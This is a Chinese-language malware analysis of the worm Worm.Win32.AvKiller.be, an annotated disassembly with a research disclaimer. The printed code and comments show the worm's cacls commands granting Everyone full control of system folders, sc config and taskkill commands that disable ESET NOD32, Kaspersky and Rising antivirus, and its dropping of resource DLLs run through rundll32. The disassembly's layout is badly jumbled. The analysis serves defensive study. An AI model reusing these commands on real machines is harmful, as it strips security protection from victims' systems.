Worm.Win32.AvKiller.be是一个蠕虫病毒,利用Upack程序进行保护病毒会利用CreateMutex创建一个system的互斥,保证系统中只有一个实例在运行,如这个互斥已经存在,则病毒直接退出下面是详细分析,每一步的过程都加了详细的注释。本文内容所提及均为本地测试,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。
//////////////////////////////////////////////////////////////////////////////// // //------------------------------------------------------------------------------ //MalwareOriginalEntryPoint //------------------------------------------------------------------------------ // 0040118C 0040118D 0040118F 55 PUSHEBP 8BEC MOVEBP,ESP 81EC000B0000SUBESP,0B00 //------------------------------------------------------------------------------ // checkinfection--sny_trojan,ifnot,markthispcfirstly //------------------------------------------------------------------------------ 00401195 00401196 ESI,00403688 0040119B 0040119C 0040119D [402050] 56 PUSHESI BE 88364000 MOV ;ASCIIsny_trojan 57 56 PUSHEDI PUSHESI FF15 50204000 CALL ;kernel32.GlobalFindAtomA(sny_trojan) 004011A3 004011A6 004011A8 004011AA 004011AB 004011AC 004011B1 [40204C] 004011B7 004011B9 004011BB 004011BD 004011C2 004011C3 004011C4 66:85C0 7713 33FF TESTAX,AX JASHORT004011BB XOREDI,EDI PUSHESI 56 57 PUSHEDI 6801001F00 PUSH1F0001 FF15 4C204000 CALL ;kernel32.OpenMutexAsny_trojan TESTEAX,EAX 85C0 7407 33C0 E9B2030000 53 JESHORT004011C2 XOREAX,EAX JMP00401574 PUSHEBX 56 PUSHESI FF15 48204000 CALL [402048] ;kernel32.GlobalAddAtomAsny_trojan 004011CA 004011CB 004011CC 004011CD [402044] 56 57 57 PUSHESI PUSHEDI PUSHEDI FF15 44204000 CALL ;kernel32.CreateMutexA-sny_trojan //------------------------------------------------------------------------------ //Gettheyear,andifit'safter2007now,gotokillAv //------------------------------------------------------------------------------ 004011D3 004011D6 004011D7 [402024] 8D45F0 50 LEAEAX,[EBP-10] PUSHEAX FF15 24204000 CALL PTR ;kernel32.GetSystemTime 004011DD [EBP-10],7D7 004011E3 66:817D F0 D707 CMP WORD ;2007=7D7 8B3D 60204000 MOV MOV EDI,[402060] 004011E9 ;MSVCRT.sprintf 8B1D 40204000 EBX,[402040] 004011EF 004011F4 ;kernel32.WinExec MOVESI,104 BE04010000 0F8631010000JBE0040132B //------------------------------------------------------------------------------ //EditACLsof%SystemRoot%Directory--FullControl //------------------------------------------------------------------------------ 004011FA 00401200 00401201 00401202 [402010] 00401208 0040120E 0040120F 00401215 00403664 0040121A 0040121B EDI 8D85ECFEFFFF LEAEAX,[EBP-114] PUSHESI 56 50 PUSHEAX FF15 10204000 CALL PUSH ;kernel32.GetSystemDirectoryA LEAEAX,[EBP-114] 8D85ECFEFFFF 50 PUSHEAX 8D85E8FDFFFF LEAEAX,[EBP-218] 68 64364000 ;ASCIIcmd/ccacls%s/e/peveryone:f PUSHEAX 50 FFD7 CALL ;sprintfcmd/ccaclsSystemDirectory/e/p everyone:f 0040121D 00401220 00401226 00401228 00401229 EBX 83C40C 8D85E8FDFFFF 6A00 ADDESP,0C LEAEAX,[EBP-218] PUSH0 50 PUSHEAX FFD3 CALL ;WinExec(SW_HIDE)cmd/ccacls SystemDirectory/e/peveryone:f //------------------------------------------------------------------------------ //EditACLsof%Temp%Directory--FullControl //------------------------------------------------------------------------------ 0040122B 00401231 00401232 00401233 [40203C] 00401239 0040123F 00401240 00401246 00403640 everyone:f 0040124B 0040124C EDI 8D85ECFEFFFFLEAEAX,[EBP-114] 50 56 PUSHEAX PUSHESI FF15 3C204000 CALL ;kernel32.GetTempPathA 8D85ECFEFFFF 50 LEAEAX,[EBP-114] PUSHEAX 8D85E8FDFFFF LEAEAX,[EBP-218] 68 40364000 PUSH ;ASCIIcmd/ccacls%s/e/p 50 PUSHEAX FFD7 CALL ;sprintf 0040124E 00401251 00401257 00401259 0040125A EBX 83C40C 8D85E8FDFFFF 6A00 ADDESP,0C LEAEAX,[EBP-218] PUSH0 50 PUSHEAX FFD3 CALL ;WinExec(SW_HIDE)cmd/c cacls%TEMP%/e/peveryone:f 0040125C 00401262 00401263 00401264 [40203C] 0040126A 00401270 8D85ECFEFFFFLEAEAX,[EBP-114] 50 56 PUSHEAX PUSHESI FF15 3C204000 CALL ;kernel32.GetTempPathA 8D85ECFEFFFFLEAEAX,[EBP-114] PUSHEAX 50 //------------------------------------------------------------------------------ //disabletheservice(ekrn)ofESETNOD32 //cmd/cscconfigekrnstart=disabled //------------------------------------------------------------------------------ 00401271 00401277 00403618 disabled 0040127C 0040127D EDI 8D85E8FDFFFF LEAEAX,[EBP-218] 68 18364000 PUSH ;ASCIIcmd/cscconfigekrnstart= 50 PUSHEAX FFD7 CALL ;sprintf 0040127F 00401282 00401288 0040128A 0040128B EBX 83C40C 8D85E8FDFFFF 6A00 ADDESP,0C LEAEAX,[EBP-218] PUSH0 50 PUSHEAX FFD3 CALL CALL ;WinExec 0040128D 00401293 00401294 00401295 [40203C] 0040129B 004012A1 8D85ECFEFFFFLEAEAX,[EBP-114] 50 56 PUSHEAX PUSHESI FF15 3C204000 ;kernel32.GetTempPathA 8D85ECFEFFFFLEAEAX,[EBP-114] PUSHEAX 50 //------------------------------------------------------------------------------ //killtheprocess(ekrn.exe)ofESETNOD32 //cmd/ctaskkill/imekrn.exe/f //------------------------------------------------------------------------------ 004012A2 004012A8 004035F8 004012AD 004012AE EDI 8D85E8FDFFFFLEAEAX,[EBP-218] 68 F8354000 PUSH ;ASCIIcmd/ctaskkill/imekrn.exe/f 50 PUSHEAX FFD7 CALL CALL CALL ;sprintf 004012B0 004012B3 004012B9 004012BB 004012BC EBX 83C40C ADDESP,0C 8D85E8FDFFFFLEAEAX,[EBP-218] 6A00 50 PUSH0 PUSHEAX FFD3 ;WinExec 004012BE 004012C4 004012C5 004012C6 [40203C] 004012CC 004012D2 8D85ECFEFFFFLEAEAX,[EBP-114] 50 56 PUSHEAX PUSHESI FF15 3C204000 ;kernel32.GetTempPathA 8D85ECFEFFFFLEAEAX,[EBP-114] PUSHEAX 50 //------------------------------------------------------------------------------ //killtheprocess(egui.exe)ofESETNOD32 //cmd/ctaskkill/imegui.exe/f //------------------------------------------------------------------------------ 004012D3 004012D9 8D85E8FDFFFFLEAEAX,[EBP-218] 68 D8354000 PUSH 004035D8 004012DE 004012DF 004012E1 004012E4 004012EA 004012EC 004012ED ;ASCIIcmd/ctaskkill/imegui.exe/f 50 PUSHEAX CALLEDI FFD7 83C40C 8D85E8FDFFFF 6A00 ADDESP,0C LEAEAX,[EBP-218] PUSH0 50 PUSHEAX FFD3 CALLEBX 004012EF 004012F5 004012F6 004012F7 [40203C] 004012FD 00401303 8D85ECFEFFFFLEAEAX,[EBP-114] 50 56 PUSHEAX PUSHESI FF15 3C204000 CALL ;kernel32.GetTempPathA 8D85ECFEFFFFLEAEAX,[EBP-114] PUSHEAX 50 //------------------------------------------------------------------------------ //killtheprocess(ScanFrm.exe)ofRsing //cmd/ctaskkill/imScanFrm.exe/f //------------------------------------------------------------------------------ 00401304 0040130A 004035B4 /f 8D85E8FDFFFF LEAEAX,[EBP-218] 68 B4354000 PUSH ;ASCIIcmd/ctaskkill/imScanFrm.exe 0040130F 00401310 EDI 50 PUSHEAX FFD7 CALL ;sprintf 00401312 00401315 0040131B 0040131D 0040131E EBX 83C40C 8D85E8FDFFFF 6A00 ADDESP,0C LEAEAX,[EBP-218] PUSH0 50 PUSHEAX FFD3 CALL CALL ;WinExec PUSH1388 FF15 00401320 00401325 [402038] \system32\killkb.dll 0040132B 00401331 00401332 00401333 [402034] 00401339 0040133F 6888130000 38204000 ;kernel32.Sleep//strcat%windows%+ 8D85E4FCFFFF LEAEAX,[EBP-31C] 56 50 PUSHESI PUSHEAX FF15 34204000 CALL PUSH ;kernel32.GetWindowsDirectoryA LEAEAX,[EBP-31C] 8D85E4FCFFFF 68 9C354000 0040359C 00401344 ;ASCII\system32\killkb.dll PUSHEAX 3A020000 50 00401345 E8 CALL 00401584 ;c:\windows\\system32\killkb.dll MSVCRT.strcat //------------------------------------------------------------------------------ //checktheyear,ifitsbefore2007nown,skipthefollows //andgoto 0040138D //------------------------------------------------------------------------------ 0040134A 00401350 00401351 00401352 66:817DF0D707CMPWORDPTR[EBP-10],7D7 59 POPECX 59 POPECX 7639 JBESHORT0040138D //------------------------------------------------------------------------------ //after2007 //WriteReSourceToFile(BIN,95,%windows%+\system32\killkb.dll) //execrundll32.exe%windows%+\system32\killkb.dll,droqp //------------------------------------------------------------------------------ 00401354 EAX,[EBP-31C] 0040135A 0040135B 00403598 00401360 00401365 00401000 8D85 E4FCFFFF LEA ;%windows%+\system32\killkb.dll 50 PUSHEAX 68 98354000 PUSH ;ASCIIBIN 6895000000 PUSH95 E8 96FCFFFF CALL ; WriteReSourceToFile(BIN,95,%windows%+\system32\killkb.dll)) //rundll32.exe%windows%+\system32\killkb.dll,droqp 0040136A 00401370 00401371 00401377 00403580 0040137C 0040137D EDI 8D85E4FCFFFF 50 LEAEAX,[EBP-31C] PUSHEAX 8D8500F5FFFF LEAEAX,[EBP-B00] 68 80354000 PUSH CALL ;ASCIIrundll32.exe%s,droqp PUSHEAX ;sprintf 50 FFD7 0040137F 00401382 00401388 0040138A 0040138B EBX 83C418 8D8500F5FFFF 6A00 ADDESP,18 LEAEAX,[EBP-B00] PUSH0 50 PUSHEAX FFD3 CALL ;WinExec(rundll32.exe%windows% +\system32\killkb.dll,droqp,SW_HIDE) //------------------------------------------------------------------------------ // forall(beforandafter2007) //------------------------------------------------------------------------------ 0040138D 00401392 [402038] 00401398 0040139E 0040139F 004013A0 [40203C] 6888130000 PUSH1388 FF15 38204000 CALL CALL ;kernel32.Sleep 8D85ECFEFFFF LEAEAX,[EBP-114] PUSHEAX PUSHESI 50 56 FF15 3C204000 ;kernel32.GetTempPathA //------------------------------------------------------------------------------ //disabletheservice(avp)ofkav //cmd/cscconfigavpstart=disabled //------------------------------------------------------------------------------ 004013A6 004013AC 004013AD 004013B3 00403558 disabled 004013B8 004013B9 EDI 8D85ECFEFFFFLEAEAX,[EBP-114] PUSHEAX 8D85E8FDFFFFLEAEAX,[EBP-218] 50 68 58354000 PUSH ;ASCIIcmd/cscconfigavpstart= 50 PUSHEAX FFD7 CALL ;sprintf ADDESP,0C 004013BB 004013BE 004013C4 004013C6 004013C7 EBX 83C40C 8D85E8FDFFFFLEAEAX,[EBP-218] 6A00 50 PUSH0 PUSHEAX FFD3 CALL ;WinExec //------------------------------------------------------------------------------ //killtheprocess(avp.exe)ofkav //cmd/ctaskkill/imavp.exe/f //------------------------------------------------------------------------------ 004013C9 004013CF 004013D0 004013D1 [40203C] 004013D7 004013DD 004013DE 004013E4 00403538 8D85ECFEFFFFLEAEAX,[EBP-114] 50 56 PUSHEAX PUSHESI FF15 3C204000 CALL PUSH ;kernel32.GetTempPathA 8D85ECFEFFFFLEAEAX,[EBP-114] PUSHEAX 8D85E8FDFFFFLEAEAX,[EBP-218] 50 68 38354000 ;ASCIIcmd/ctaskkill/imavp.exe/f 004013E9 004013EA EDI 50 PUSHEAX FFD7 CALL ;sprintf 004013EC 004013EF 004013F5 004013F7 004013F8 EBX 83C40C ADDESP,0C 8D85E8FDFFFFLEAEAX,[EBP-218] 6A00 50 PUSH0 PUSHEAX FFD3 CALL MOV ;WinExec 8B3D 004013FA EDI,[402038] 00401400 38204000 ;kernel32.Sleep 6888130000 FFD7 PUSH1388 CALLEDI 00401405 //------------------------------------------------------------------------------ //writefilec:\WINDOSupdate.dllfromresource //WriteEncryptedReSourceToFileWithAnti(8F,BIN,c:\WINDOWSupdate.dll) //------------------------------------------------------------------------------ 00401407 0040140D 0040140E 0040140F [402034] 8D85E4FCFFFF LEAEAX,[EBP-31C] PUSHESI 56 50 PUSHEAX FF15 34204000 CALL ;kernel32.GetWindowsDirectoryA //strcat%windows%+\system32\update.dll 00401415 0040141B 0040352C 00401420 00401421 00401584 00401426 0040142C 0040142D 0040142E 00401434 00401435 00401436 EBX 8D85E4FCFFFF LEAEAX,[EBP-31C] 68 2C354000 PUSH CALL ;ASCIIupdate.dll 50 PUSHEAX E8 5E010000 ;MSVCRT.strcat 8B1D10204000MOVEBX,[402010] 59 POPECX 59 POPECX 8D85E0FBFFFF LEAEAX,[EBP-420] PUSHESI 56 50 PUSHEAX FFD3 CALL CALL ;kernel32.GetSystemDirectoryA 00401438 0040143E 0040143F 00401440 EBX 8D85E0FBFFFF LEAEAX,[EBP-420] PUSHESI 56 50 PUSHEAX FFD3 ;kernel32.GetSystemDirectoryA 00401442 00401448 00401449 0040144A 0040144C [402030] 8D85E0FBFFFF LEAEAX,[EBP-420] PUSHESI 56 50 PUSHEAX PUSH0 6A00 FF15 30204000 CALL PUSH ;kernel32.GetModuleFileNameA LEAEAX,[EBP-31C] PUSHEAX 00401452 00401458 00401459 00403598 0040145E 00401463 004010AC 8D85E4FCFFFF 50 68 98354000 ;ASCIIBIN 688F000000 PUSH8F E8 44FCFFFF CALL ; WriteEncryptedReSourceToFileWithAnti(8F,BIN,c:\WINDOWSupdate.dll) //copymodulefilename 00401468 0040146A 00401470 00401475 00401476 0040157E 0040147B 00401481 00401482 00401488 00401489 00401578 6A00 PUSH0 8D8504F6FFFF 68DC050000 50 LEAEAX,[EBP-9FC] PUSH5DC PUSHEAX E8 03010000 CALL CALL ;JMPtoMSVCRT.memset 8D85E0FBFFFF LEAEAX,[EBP-420] PUSHEAX 50 8D8504F6FFFF 50 LEAEAX,[EBP-9FC] PUSHEAX E8 EA000000 ;JMPtoMSVCRT.strcpy //ModuleFileName+_ 0040148E 00401493 00401499 0040149A 0040149B 00401584 BE28354000 MOVESI,00403528 LEAEAX,[EBP-9FC] PUSHESI 8D8504F6FFFF 56 50 PUSHEAX E8 E4000000 CALL ;JMPtoMSVCRT.strcat //ModuleFileName+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo 004014A0 0040326C 68 6C324000 PUSH ;ASCII o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo 004014A5 004014AB 004014AC 00401584 8D8504F6FFFF 50 LEAEAX,[EBP-9FC] PUSHEAX E8 D3000000 CALL ;JMPtoMSVCRT.strcat //ModuleFileName+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo //+_ 004014B1 004014B7 004014B8 004014B9 00401584 8D8504F6FFFF LEAEAX,[EBP-9FC] PUSHESI 56 50 PUSHEAX E8 C6000000 CALL ;JMPtoMSVCRT.strcat //ModuleFileName+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo //+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9Dd6jYLqDKr3VAo 004014BE 004014C4 00403210 8D8504F6FFFFLEAEAX,[EBP-9FC] 68 10324000 PUSH ;ASCII o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9Dd6jYLqDKr3VAo 004014C9 004014CA 00401584 50 PUSHEAX E8 B5000000 CALL ;JMPtoMSVCRT.strcat //ModuleFileName+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo //+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9Dd6jYLqDKr3VAo+_ 004014CF 004014D2 004014D8 004014D9 004014DA 00401584 83C440 ADDESP,40 8D8504F6FFFF LEAEAX,[EBP-9FC] PUSHESI 56 50 PUSHEAX E8 A5000000 CALL ;JMPtoMSVCRT.strcat //ModuleFileName+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo //+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9Dd6jYLqDKr3VAo+_+NULL 004014DF 004014E5 004014EA 004014EB 00401584 8D8504F6FFFFLEAEAX,[EBP-9FC] 6808304000 50 PUSH00403008 PUSHEAX E8 94000000 CALL CALL ;JMPtoMSVCRT.strcat //LoadLibrary(c:\WINDOWSupdate.dll) 004014F0 004014F3 004014F9 004014FA [40202C] 83C410 ADDESP,10 8D85E4FCFFFF 50 LEAEAX,[EBP-31C] PUSHEAX FF15 2C204000 ;kernel32.LoadLibraryA //GetProcAddress(Scan,c:\WINDOWSupdate.dll) 00401500 00401502 00401504 00403000 00401509 0040150A [402028] 85C0 TESTEAX,EAX JESHORT00401528 7424 68 00304000 PUSH CALL ;ASCIIScan 50 PUSHEAX FF15 28204000 ;kernel32.GetProcAddress //callWINDOWSupdate.dll::Scan(0,0, //ModuleFileName+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9MMijYjqLIkVFAo //+_+o12aSkSLyZo7kJtsY2pGuSmNFA2WyU2xO9Dd6jYLqDKr3VAo+_+NULL //) 00401510 00401512 00401514 0040151A 0040151B 0040151D 0040151F EAX 85C0 TESTEAX,EAX JESHORT00401521 LEAECX,[EBP-9FC] PUSHECX 740D 8D8D04F6FFFF 51 6A00 PUSH0 6A00 PUSH0 FFD0 CALL CALL ;WINDOWSupdate.dll::Scan 00401521 00401526 EDI 680046C323 PUSH23C34600 FFD7 ;Sleep() 00401528 0040152D 00401533 EBX BE90010000 MOVESI,190 LEAEAX,[EBP-9FC] PUSHESI 8D8504F6FFFF 56 50 PUSHEAX FFD3 CALL CALL ;GetSystemDirectory 00401537 0040153D 0040153E 0040153F EBX 8D8504F6FFFF LEAEAX,[EBP-9FC] PUSHESI 56 50 PUSHEAX FFD3 ;GetSystemDirectory //checktheyear2008,ifitsbefore2008now,gotoexit 00401541 00401547 66:817DF0D807CMPWORDPTR[EBP-10],7D8 7628 JBESHORT00401571 //......... 00401549 0040154F 00401550 00401551 EBX 8D8504F6FFFF LEAEAX,[EBP-9FC] PUSHESI 56 50 PUSHEAX FFD3 CALL CALL ;GetSystemDirectory 00401553 00401559 0040155A 0040155B 8D8504F6FFFF LEAEAX,[EBP-9FC] PUSHESI 56 50 PUSHEAX FFD3 EBX ;GetSystemDirectory LEAEAX,[EBP-9FC] 0040155D 00401563 00401564 00401565 EBX 8D8504F6FFFF 56 50 PUSHESI PUSHEAX FFD3 CALL CALL ;GetSystemDirectory 00401567 0040156D 0040156E 0040156F EBX 8D8504F6FFFF LEAEAX,[EBP-9FC] PUSHESI 56 50 PUSHEAX FFD3 ;GetSystemDirectory 00401571 00401573 00401574 00401575 00401576 00401577 33C0 5B XOREAX,EAX POPEBX POPEDI POPESI LEAVE 5F 5E C9 C3 RET //------------------------------------------------------------------------------ //WriteReSourceToFile(ResourceName,ResourceType,FilePath) //------------------------------------------------------------------------------ 00401000 00401001 00401003 00401009 0040100A 0040100C 0040100F 00401012 00401013 [402020] 55 PUSHEBP 8BEC MOVEBP,ESP 81EC10010000SUBESP,110 53 PUSHEBX 33DB FF750C FF7508 53 XOREBX,EBX PUSHDWORDPTR[EBP+C] PUSHDWORDPTR[EBP+8] PUSHEBX FF15 20204000 CALL ; kernel32.FindResourceA(hModule=NULL,ResourceName=95,ResourceType=BIN) 00401019 0040101A 0040101B 0040101E [40201C] 50 PUSHEAX PUSHEBX MOV[EBP+8],EAX FF15 53 894508 1C204000 CALL ; kernel32.LoadResource(hModule=NULL,hResource=handle) 00401024 00401025 00401028 [402018] 0040102E 0040102F 50 PUSHEAX MOV[EBP-4],EAX FF15 8945FC 18204000 CALL ;kernel32.SetHandleCount 53 53 PUSHEBX PUSHEBX 00401030 00401032 00401033 00401034 00401039 0040103C 0040103F [402014] 6A02 PUSH2 53 PUSHEBX 53 PUSHEBX 6800000040 FF7510 8945F8 PUSH40000000 PUSHDWORDPTR[EBP+10] MOV[EBP-8],EAX FF15 14204000 CALL ; kernel32.CreateFileA(FileName=C:\windows\system32\killkb.dll,Access=GENERIC_WRITE,S hareMOde=0,pSecurity=NULL,Mode=CREATE_ALWAYS,Attributes=0,hTemplateFile=NULL) //checkCreateFilefailure 00401045 00401048 [EBP+C],EAX 0040104B 0040104D 0040104E 00401054 00401055 0040105A 00401060 00401061 00401062 ESI 83F8FF CMPEAX,-1 8945 0C MOV ;FileHandle 7443 56 JESHORT00401090 PUSHESI 8B3510204000MOVESI,[402010] 57 PUSHEDI BF04010000 MOVEDI,104 8D85F0FEFFFFLEAEAX,[EBP-110] 57 50 PUSHEDI PUSHEAX FFD6 CALL CALL ;kernel32.GetSystemDirectoryA 8D85F0FEFFFFLEAEAX,[EBP-110] 00401064 0040106A 0040106B 0040106C ESI 57 50 PUSHEDI PUSHEAX FFD6 ;kernel32.GetSystemDirectoryA 0040106E 00401071 00401072 00401073 00401076 00401077 [40200C] 0040107D 0040107E 00401081 00401084 [402008] 0040108A 0040108B 8D45F4 53 LEAEAX,[EBP-C] PUSHEBX 50 PUSHEAX FF7508 53 PUSHDWORDPTR[EBP+8] PUSHEBX FF15 0C204000 CALL CALL ;kernel32.SizeofResource 50 PUSHEAX FF75F8 FF750C PUSHDWORDPTR[EBP-8] PUSHDWORDPTR[EBP+C] FF15 08204000 ;kernel32.WriteFile 5F 5E POPEDI POPESI 0040108C 0040108E 00401090 00401092 00401094 00401097 [402004] 85C0 TESTEAX,EAX 7504 JNZSHORT00401094 XOREAX,EAX 33C0 EB15 FF750C JMPSHORT004010A9 PUSHDWORDPTR[EBP+C] FF15 04204000 CALL CALL ;kernel32.CloseHandle PUSHDWORDPTR[EBP-4] 0040109D 004010A0 [402000] FF75FC FF15 00204000 ;kernel32.FreeResource 004010A6 004010A8 004010A9 004010AA 004010AB 6A01 58 PUSH1 POPEAX POPEBX LEAVE RET 5B C9 C3 //------------------------------------------------------------------------------ //WriteEncryptedReSourceToFileWithAnti(ResourceName,ResourceType,FilePath) //------------------------------------------------------------------------------ 004010AC 004010AD 004010AF 004010B5 004010B6 004010B8 004010BB 004010BE 004010BF [402020] 55 PUSHEBP 8BEC MOVEBP,ESP 81EC20010000SUBESP,120 53 PUSHEBX 33DB FF750C FF7508 53 XOREBX,EBX PUSHDWORDPTR[EBP+C] PUSHDWORDPTR[EBP+8] PUSHEBX FF15 20204000 CALL ;kernel32.FindResourceA(NULL,8F,BIN) 004010C5 004010C6 004010C7 004010CA [40201C] 004010D0 004010D1 004010D4 [402018] 50 PUSHEAX PUSHEBX 53 894508 MOV[EBP+8],EAX FF15 1C204000 CALL CALL ;kernel32.LoadResource 50 PUSHEAX 8945F8 MOV[EBP-8],EAX FF15 18204000 ;kernel32.SetHandleCount 004010DA 004010DB 004010DC 004010DE 004010DF 004010E0 53 PUSHEBX PUSHEBX PUSH2 53 6A02 53 PUSHEBX PUSHEBX 53 6800000040 PUSH40000000 004010E5 004010E8 004010EB [402014] FF7510 8945FC PUSHDWORDPTR[EBP+10] MOV[EBP-4],EAX FF15 14204000 CALL ; kernel32.CreateFileA(c:\WINDOWSupdate.dll,GENERIC_WRITE,0,NULL,CREATE_ALWA YS,0,NULL) //checkfailure 004010F1 004010F4 004010F7 004010F9 004010FB 83F8FF 894510 7507 CMPEAX,-1 MOV[EBP+10],EAX JNZSHORT00401100 XOREAX,EAX JMP00401189 33C0 E989000000 00401100 00401103 00401104 [402024] 8D45E4 50 LEAEAX,[EBP-1C] PUSHEAX FF15 24204000 CALL ;kernel32.GetSystemTime //checktheyear2007 0040110A66:817DE4D707CMPWORDPTR[EBP-1C],7D7 00401110 00401112 00401113 00401119 0040111A 0040111F 00401125 00401126 00401127 0040112A ESI 7662 JBESHORT00401174 PUSHESI 56 8B3510204000MOVESI,[402010] 57 PUSHEDI BF04010000 MOVEDI,104 8D85E0FEFFFFLEAEAX,[EBP-120] 57 PUSHEDI PUSHEAX MOV[EBP+F],BL FFD6 50 885D0F CALL CALL ;kernel32.GetSystemDirectoryA 0040112C 00401132 00401133 00401134 ESI 8D85E0FEFFFF LEAEAX,[EBP-120] PUSHEDI 57 50 PUSHEAX FFD6 ;kernel32.GetSystemDirectoryA 00401136 00401139 0040113F 00401141 00401142 ESI FF7508 PUSHDWORDPTR[EBP+8] 8B350C204000MOVESI,[40200C] 33FF 53 XOREDI,EDI PUSHEBX FFD6 CALL ;kernel32.SizeofResource TESTEAX,EAX 00401144 85C0 00401146 762A JBESHORT00401172 //------------------------------------------------------------------------------ //writefileloop,1byteonce //------------------------------------------------------------------------------ 00401148 0040114B //decode 0040114C 0040114F 00401151 00401154 00401157 00401158 0040115B 0040115D 0040115E 00401161 [402008] 8B45FC 53 MOVEAX,[EBP-4] PUSHEBX 8A0407 FEC0 88450F 8D45F4 50 8D450F 6A01 50 MOVAL,[EDI+EAX] INCAL MOV[EBP+F],AL LEAEAX,[EBP-C] PUSHEAX LEAEAX,[EBP+F] PUSH1 PUSHEAX FF7510 PUSHDWORDPTR[EBP+10] FF15 08204000 CALL ; kernel32.WriteFile(hFile,pBuffer,nBytesToWrite=1,pBytesWritten,NULL) 00401167 //++ FF7508 PUSHDWORDPTR[EBP+8] 0040116A 0040116B 0040116C ESI 47 53 INCEDI PUSHEBX FFD6 CALL ;SizeOfResource //checktheend 0040116E 00401170 // 3BF8 ^72D6 CMPEDI,EAX JBSHORT00401148 00401172 00401173 00401174 00401177 [402004] 00401188 00401189 0040118A 0040118B 00401578 [402064] 0040157E [402058] 00401584 [40205C] 5F 5E FF7510 POPEDI POPESI PUSHDWORDPTR[EBP+10] FF15 04204000 CALL CALL ;kernel32.CloseHandle PUSHDWORDPTR[EBP-8] FF75F8 FF15 ;kernel32.FreeResource 00204000 6A01 58 5B C9 C3 PUSH1 POPEAX POPEBX LEAVE RET - FF25 ;MSVCRT.strcpy FF25 ;MSVCRT.memset FF25 ;MSVCRT.strcat 64204000 JMP JMP JMP - - 58204000 5C204000